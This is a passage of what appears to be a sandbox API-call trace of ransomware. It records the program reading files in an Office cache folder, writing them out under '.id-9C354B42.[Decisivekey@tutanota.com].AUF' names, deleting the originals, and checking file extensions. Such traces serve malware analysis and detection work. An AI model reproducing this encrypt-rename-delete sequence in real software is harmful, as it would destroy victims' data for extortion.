(lpString1=".xls", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString=".xlsx") returned 5 [0204.853] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0204.853] lstrlenW (lpString=".ppt") returned 4 [0204.853] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString=".zip") returned 4 [0204.853] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0204.853] lstrlenW (lpString=".rar") returned 4 [0204.853] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString=".bz2") returned 4 [0204.853] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString=".7z") returned 3 [0204.853] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString=".dbf") returned 4 [0204.853] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.853] lstrlenW (lpString=".1cd") returned 4 [0204.853] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0204.853] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0204.854] lstrlenW (lpString=".jpg") returned 4 [0204.854] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0204.854] lstrcmpiW (lpString1=".chm", lpString2=".AUF") returned 1 [0204.854] lstrlenW (lpString="setup.chm") returned 9 [0204.854] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.037] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=67190) returned 1 [0205.037] CloseHandle (hObject=0x1b0) returned 1 [0205.037] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 0x2020 [0205.038] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.038] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.038] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.038] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0205.038] GetLastError () returned 0x0 [0205.038] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x10676, lpOverlapped=0x0) returned 1 [0205.221] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x10680, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x10680, lpOverlapped=0x0) returned 1 [0205.222] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.222] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0205.222] SetEndOfFile (hFile=0x1b8) returned 1 [0205.222] CloseHandle (hObject=0x1b8) returned 1 [0205.223] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.223] SetEndOfFile (hFile=0x1b0) returned 1 [0205.237] CloseHandle (hObject=0x1b0) returned 1 [0205.237] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.237] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm")) returned 1 [0205.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.237] lstrlenW (lpString=".doc") returned 4 [0205.237] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0205.237] lstrlenW (lpString=".docx") returned 5 [0205.237] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0205.237] lstrlenW (lpString=".pdf") returned 4 [0205.237] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0205.237] lstrlenW (lpString=".xls") returned 4 [0205.237] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0205.237] lstrlenW (lpString=".xlsx") returned 5 [0205.237] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0205.237] lstrlenW (lpString=".ppt") returned 4 [0205.237] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0205.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.237] lstrlenW (lpString=".zip") returned 4 [0205.237] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0205.237] lstrlenW (lpString=".rar") returned 4 [0205.237] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0205.237] lstrlenW (lpString=".bz2") returned 4 [0205.237] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0205.238] lstrlenW (lpString=".7z") returned 3 [0205.238] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".dbf") returned 4 [0205.238] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".1cd") returned 4 [0205.238] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".jpg") returned 4 [0205.238] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".doc") returned 4 [0205.238] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString=".docx") returned 5 [0205.238] lstrcmpiW (lpString1=".docx", lpString2="p.chm") returned -1 [0205.238] lstrlenW (lpString=".pdf") returned 4 [0205.238] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString=".xls") returned 4 [0205.238] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString=".xlsx") returned 5 [0205.238] lstrcmpiW (lpString1=".xlsx", lpString2="p.chm") returned -1 [0205.238] lstrlenW (lpString=".ppt") returned 4 [0205.238] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".zip") returned 4 [0205.238] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString=".rar") returned 4 [0205.238] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString=".bz2") returned 4 [0205.238] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0205.238] lstrlenW (lpString=".7z") returned 3 [0205.238] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".dbf") returned 4 [0205.238] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".1cd") returned 4 [0205.238] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0205.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm") returned 72 [0205.238] lstrlenW (lpString=".jpg") returned 4 [0205.238] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0205.239] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.239] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0205.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.239] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=819) returned 1 [0205.239] CloseHandle (hObject=0x1b0) returned 1 [0205.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0205.239] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.239] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.239] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0205.240] GetLastError () returned 0x0 [0205.240] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x333, lpOverlapped=0x0) returned 1 [0205.390] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x340, lpOverlapped=0x0) returned 1 [0205.391] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.391] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0205.391] SetEndOfFile (hFile=0x1b8) returned 1 [0205.391] CloseHandle (hObject=0x1b8) returned 1 [0205.392] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.392] SetEndOfFile (hFile=0x1b0) returned 1 [0205.393] CloseHandle (hObject=0x1b0) returned 1 [0205.393] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.393] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0205.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.393] lstrlenW (lpString=".doc") returned 4 [0205.393] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.393] lstrlenW (lpString=".docx") returned 5 [0205.393] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.393] lstrlenW (lpString=".pdf") returned 4 [0205.393] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.393] lstrlenW (lpString=".xls") returned 4 [0205.393] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.393] lstrlenW (lpString=".xlsx") returned 5 [0205.393] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.393] lstrlenW (lpString=".ppt") returned 4 [0205.393] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.393] lstrlenW (lpString=".zip") returned 4 [0205.393] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.393] lstrlenW (lpString=".rar") returned 4 [0205.393] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.393] lstrlenW (lpString=".bz2") returned 4 [0205.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString=".7z") returned 3 [0205.394] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString=".dbf") returned 4 [0205.394] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString=".1cd") returned 4 [0205.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString=".jpg") returned 4 [0205.394] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString=".doc") returned 4 [0205.394] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString=".docx") returned 5 [0205.394] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0205.394] lstrlenW (lpString=".pdf") returned 4 [0205.394] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString=".xls") returned 4 [0205.394] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString=".xlsx") returned 5 [0205.394] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0205.394] lstrlenW (lpString=".ppt") returned 4 [0205.394] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString=".zip") returned 4 [0205.394] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.394] lstrlenW (lpString=".rar") returned 4 [0205.394] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString=".bz2") returned 4 [0205.394] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString=".7z") returned 3 [0205.394] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString=".dbf") returned 4 [0205.394] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.394] lstrlenW (lpString=".1cd") returned 4 [0205.394] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0205.395] lstrlenW (lpString=".jpg") returned 4 [0205.395] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.395] lstrcmpiW (lpString1=".xml", lpString2=".AUF") returned 1 [0205.395] lstrlenW (lpString="ProPlusrWW.xml") returned 14 [0205.395] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.443] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x321ff1c | out: lpFileSize=0x321ff1c*=16852) returned 1 [0205.443] CloseHandle (hObject=0x1b0) returned 1 [0205.443] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 0x2020 [0205.443] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0205.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0205.443] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.443] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0205.443] GetLastError () returned 0x0 [0205.443] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x41d4, lpOverlapped=0x0) returned 1 [0205.517] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0x41e0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0x41e0, lpOverlapped=0x0) returned 1 [0205.518] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesRead=0x321fed4*=0x0, lpOverlapped=0x0) returned 1 [0205.518] WriteFile (in: hFile=0x1b8, lpBuffer=0x3d40020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x321fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d40020*, lpNumberOfBytesWritten=0x321fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0205.518] SetEndOfFile (hFile=0x1b8) returned 1 [0205.518] CloseHandle (hObject=0x1b8) returned 1 [0205.519] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec8 | out: lpNewFilePointer=0x0) returned 1 [0205.519] SetEndOfFile (hFile=0x1b0) returned 1 [0205.519] CloseHandle (hObject=0x1b0) returned 1 [0205.519] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0205.520] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml")) returned 1 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.520] lstrlenW (lpString=".doc") returned 4 [0205.520] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString=".docx") returned 5 [0205.520] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1 [0205.520] lstrlenW (lpString=".pdf") returned 4 [0205.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString=".xls") returned 4 [0205.520] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString=".xlsx") returned 5 [0205.520] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1 [0205.520] lstrlenW (lpString=".ppt") returned 4 [0205.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.520] lstrlenW (lpString=".zip") returned 4 [0205.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0205.520] lstrlenW (lpString=".rar") returned 4 [0205.520] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString=".bz2") returned 4 [0205.520] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString=".7z") returned 3 [0205.520] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.520] lstrlenW (lpString=".dbf") returned 4 [0205.520] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.520] lstrlenW (lpString=".1cd") returned 4 [0205.520] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.520] lstrlenW (lpString=".jpg") returned 4 [0205.520] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 [0205.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml") returned 77 